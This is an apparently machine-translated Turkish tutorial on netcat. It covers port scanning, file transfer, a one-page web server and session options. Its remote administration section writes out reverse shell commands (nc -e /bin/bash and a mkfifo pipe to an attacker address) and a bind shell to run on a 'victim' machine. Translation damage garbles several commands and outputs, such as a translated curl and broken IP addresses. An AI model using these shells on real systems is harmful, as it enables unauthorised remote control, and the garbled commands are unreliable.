netcat-traditional ve netcat-openbsd arasındaki kısa fark
Aralarında küçük bir fark olan netcat için iki benzer paket mevcuttur.
netcat-geleneksel bir programı bağlamak için kullanılabilecek ek bir '-e' seçeneği içerir (i.e bash) netcat ile. Bu özellik, uzaktan yönetim amaçları için çok kullanışlıdır.
netcat-openbsd IPv6 ve proxy'ler için bazı ek desteğe sahip olmak.
Netcat Kurulumu
Netcat, çoğu Linux dağıtımında önceden yüklenmiş olarak gelse de, değilse, aşağıdaki komutları kullanarak kolayca yüklenebilir.
Geleneksel paket için,
[e-posta korumalı]:~$ sudo apt-get install netcat-traditionalopenbsd versiyonu için,
[e-posta korumalı]:~$ sudo apt-get install netcat-openbsdWindows için Netcat buradan indirilebilir https://sourceforge.net/projeler/nc110/dosyalar/.
Şimdi netcat'in bazı ilginç kullanım örneklerini keşfedeceğiz
netcat kullanarak Port Tarama
Açık bağlantı noktalarını taramak için '-z' seçeneğini kullanın. Netcat, UDP durumunda herhangi bir veri veya çok sınırlı veri göndermeden her bağlantı noktasına bağlanmaya çalışacaktır. Aşağıdakileri yazın
[e-posta korumalı]:~$ nc -z -v hackme.kuruluş 80… kırpmak…
hackme.kuruluş [217.78.1.155] 80 (http) açık
Bir dizi bağlantı noktasını taramak için şunu yazın
[e-posta korumalı]:~$ nc -z -nv 192.168.100.72 20-80(Bilinmeyen) [192.168.100.72] 80 (http) açık
(Bilinmeyen) [192.168.100.72] 22 (ssh) açık
netcat ile dosya aktarımı
Netcat'in bir başka yararlı kullanım durumu, uzak bilgisayarlar arasında dosya aktarımıdır. Metinleri ve ikili dosyaları bir bilgisayardan başka bir bilgisayara gönderebilirsiniz. Bir dosya “dosyası” göndermeye çalışacağız.pdf” Linux PC'den Windows PC'ye [IP 192.168.100.72] netcat'i örnek olarak kullanmak.
Windows makinesinde (alıcı) aşağıdakini yazın
C:\Kullanıcılar> nc -nvlp 1337 > dosya.pdf[0'da dinleniyor.0.0.0] (aile 2, bağlantı noktası 1337)
Linux makinesinde (gönderen), aşağıdakini yazın
[e-posta korumalı]:~$ nc -nv 192.168.100.72 1337 < file.pdf192'ye bağlantı.168.100.72 1337 bağlantı noktası [tcp/*] başarılı oldu!
netcat ile Uzaktan Yönetim
Netcat'in en iyi kullanım örneklerinden biri uzaktan yönetimdir, yani netcat kullanarak başka birinin bilgisayarını kontrol edebilirsiniz. Netcat-traditional, bir programı bağlamak için kullanılabilen '-e' seçeneğiyle birlikte gelir (i.e cmd.Windows'ta exe veya Linux'ta bash) bir bağlantı noktası ile, bu, netcat'in program ve uzak bilgisayar arasında iletişimci olarak hareket edeceği anlamına gelir. Netcat uzak bilgisayardan komutları alacak, yerel sistemde çalıştıracak ve sonuçları uzak bilgisayara geri gönderecektir. Bu özellik, PC'lerde ve sunucularda arka kapıları tutmak için kötü amaçlı amaçlar için yaygın olarak kullanılmaktadır. Bu özellik yalnızca netcat-geleneksel'de mevcuttur, ancak küçük bir numara ile netcat-openbsd de aynı amaç için kullanılabilir. Başkalarının bilgisayarını kontrol etmek için iki yol kullanabilirsiniz.
İçinde Ters Kabuk bağlantı, bir saldırgan bir bağlantı noktasını dinler ve kurban makineden bir bağlantının gönderilmesini bekler. Kurban bilgisayarı NAT'ın arkasında olduğunda veya genel IP'ye sahip olmadığında kullanılır.
Netcat kullanarak ters bir kabuk elde etmek için netcat kullanarak bir bağlantı noktasını dinlemeniz gerekir. Saldırgan makinede aşağıdakini yazın,
[e-posta korumalı]:~$ nc -nvlp 1337[0'da dinleniyor.0.0.0] (aile 2, bağlantı noktası 1337)
Kurban makinesinde (eğer netcat-geleneksel kurulur)
//“/bin/bash”i “cmd” ile değiştir.exe” Windows olması durumunda
[e-posta korumalı]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bashİçin netcat-openbsd (“-e” seçeneği desteklenmediğinde)
[e-posta korumalı]:~$ rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f
içinde iken Kabuğu Bağla bağlantı, saldırgan kurban makinedeki bir bağlantı noktasını bağlar ve istemci soketini kullanarak bu bağlantı noktasına bağlanır. Saldırganın makinesi NAT'ın arkasında olduğunda veya genel bir IP'si olmadığında kullanılır.
Kurban makinesinde şunu yazın
[e-posta korumalı]:~$ nc -nlvp 1337 -e /bin/bash[herhangi bir] 1337'de dinliyorum…
Şimdi kurban makinede komutları çalıştırmak için şunu yazın
[e-posta korumalı]:~$ nc -nv 127.0.0.1 1337127'ye bağlantı.0.0.1 1337 bağlantı noktası [tcp/*] başarılı oldu!
$ kimlik
uid=1000(azad) gid=1000(azad) grupları=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)
netcat kullanarak Basit Web Sunucusu
Netcat'i minimum tek sayfa web sunucusu olarak kullanmak için başka bir basit numara da yapabilirsiniz. Bu web sunucusu, özel yapılandırmalar olmadan çok basit olacaktır ve tarayıcıya HTML kodumuzu göndermek için kullanacağız.
[e-posta korumalı]:~$ true iken; do echo -e "HTTP/1.1 200 Tamam\n\n $(eko "
Netcat kullanan Basit Web Sunucum
")" | nc -nvlp 1337 ; bitti[0'da dinleniyor.0.0.0] (aile 2, bağlantı noktası 1337)
Şimdi, curl kullanarak web sayfasını getirmeyi deneyin
[e-posta korumalı]:~$ kıvrılma http://127.0.0.1:1337/Netcat kullanan Basit Web Sunucum
Bir netcat Oturumu için Zaman Aşımı Belirtin
“-w” seçeneğini kullanarak bir netcat oturumu için zaman aşımı belirleyebilirsiniz. Netcat, belirtilen süre geçtikten sonra oturumunun bağlantısını otomatik olarak kesecektir.
// -w [Saniye cinsinden süre][e-posta korumalı]:~$ nc -w 40 -nvlp 1337
[0'da dinleniyor.0.0.0] (aile 2, bağlantı noktası 1234)
İstemci Bağlantıyı kapatsa bile Dinlemeye Devam Et
Normal modda, bir istemci bağlantıyı kapattığında netcat sunucusu kapanır ve bağlantı noktasını dinlemeyi durdurur. “-k” seçeneğini kullanarak sunucuyu güncel tutabilirsiniz
[e-posta korumalı]:~$ nc -k -nlvp 1234[0'da dinleniyor.0.0.0] (aile 2, bağlantı noktası 1234)
Sonuç
Netcat, birçok basit günlük görev için kullanılabilen basit ama etkili bir yardımcı programdır. Hemen hemen her UNIX benzeri işletim sisteminde önceden yüklenmiş olarak gelir ve iki bilgisayar arasındaki iletişim, dosya aktarımı ve daha pek çok çeşitli görev için kullanılabilir.